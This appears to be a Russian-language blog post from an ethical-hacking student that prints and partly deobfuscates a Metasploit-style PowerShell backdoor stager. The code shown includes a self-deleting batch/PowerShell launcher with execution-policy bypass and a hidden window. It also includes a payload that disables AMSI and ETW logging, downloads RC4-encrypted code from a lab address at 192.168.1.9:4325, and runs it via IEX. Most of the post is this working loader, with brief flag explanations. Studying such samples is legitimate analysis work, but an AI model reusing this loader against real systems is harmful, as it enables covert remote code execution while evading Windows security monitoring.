Главная

Thursday, 21 April 2022

Бекдор на Powershell.


Всем привет.

Занимаясь  по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь  тест, то код бекдора находится легко. Собственно моя находка представлена ниже:

# 2>NUL 

& @CLS 

& PUSHD "%~dp0" 

& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex" 

& DEL "%~f0" 

& POPD /B powershell -noP -sta -w 1 -enc  

тут далее следует код нагрузки(payload) в кодировке Base64:

SQBGACgAJABQAFM.... и т.п.

Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:

1) ключи запуска:

-nol :NoLogo

-nop :NoProfile

-ep  :ExecutionPolicy Bypass

-sta :1 stream execution

-w 1 :Window style hidden

-enc :Encoded by base64

2) команда исполнения:

iex  :InvokeExpression


Декодируем код самой нагрузки:

IF($PSVERsIONTaBLe.PSVErSIOn.MAJOr -ge 3)

{$ReF=[REF].ASseMBly.GeTType('System.Management.Automation.Amsi'+'Utils');

$ReF.GEtFieLd('amsiInitF'+'ailed','NonPublic,Static').SeTVAlUe($nuLL,$TRUE);

[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);};

[SYStEm.Net.SErvICePOinTManAgEr]::EXpeCT100CONTINUE=0;

$b3904=NEw-ObJect SYstEm.NeT.WEBClIeNT;

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';

$ser=$([TEXT.EnCodIng]::UnicODE.GetSTRING([CONveRT]::FROMBase64STrInG('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADkAOgA0ADMAMgA1AA==')));

$t='/login/process.php';

$B3904.HEAdeRS.ADD('User-Agent',$u);

$b3904.PRoXy=[SYSteM.Net.WeBRequesT]::DEfauLTWeBPrOXy;

$b3904.PROxy.CREdEnTIAls = [SySTem.NET.CREDentiALCACHe]::DefAULTNeTworkCReDENtIalS;

$Script:Proxy = $b3904.Proxy;

$K=[SysTem.TexT.ENCodinG]::ASCII.GETByteS('a[ch4LG#pY6Zx;yNgoU:+d1m(3kQ/P2>');

$R={$D,$K=$ARgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNT])%256;

$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]}};$b3904.HeAdErS.AdD("Cookie","xsBuBIejjx=PaBsnb0OF7fVsQSxVlMjr+5BScI=");$daTa=$B3904.DownLoADDAta($SEr+$T);$Iv=$data[0..3];$dATA=$dAtA[4..$DatA.LEngtH];-JOin[ChaR[]](& $R $DatA ($IV+$K))|IEX


Красота. Ок, для более удбного чтения предварительная деобфускация нагрузки от CaMeL-подобия покажет нам следующее:

if($PSVersionTable.PSVersion.Major -ge 3) {$ref=[ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils');

$ref.getfield('amsiinitf'+'ailed','nonpublic,static').SetValue($null,$true);

[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','non'+'public,'+'instance').setvalue([ref].assembly.gettype('syste'+'m.management.automation.tracing.pse'+'twlogprovider')."getfie`ld"('et'+'wprovider','nonpub'+'lic,s'+'tatic').getvalue($null),0);};

[System.Net.ServicepointManager]::Expect100Continue=0;

$b3904=New-Object System.Net.WebClient;

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';

$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADkAOgA0ADMAMgA1AA==')));

а вот тут повторное декодирование из base64 покажет нам адрес куда будет стучаться бекдор "http://192.168.1.9:4325"

$T='/login/process.php';

$b3904.Headers.add('User-Agent',$u);

$b3904.Proxy=[system.net.Webrequest]::defaultwebproxy;

$b3904.Proxy.Credentials = [system.net.credentialcache]::defaultnetworkcredentials;

$script:proxy = $b3904.proxy;

$k=[system.text.encoding]::ascii.getbytes('a[ch4LG#pY6Zx;yNgoU:+d1m(3kQ/P2>');

$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};

$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;

$s[$i],$s[$h]=$s[$h],$s[$i];

$_-bxor$s[($s[$i]+$s[$h])%256]}};

$b3904.headers.add("Cookie","xsBuBIejjx=PaBsnb0OF7fVsQSxVlMjr+5BScI=");

$data=$B3904.downloaddata($ser+$T);

$Iv=$data[0..3];

$data=$data[4..$data.length];

-join[char[]](& $R $data ($IV+$K))|IeX


И т.д., дальнейшую деобфускацию кода нагрузки я оставляю вам.

Желаю успехов.


No comments:

Post a Comment

А что вы думаете по этому поводу?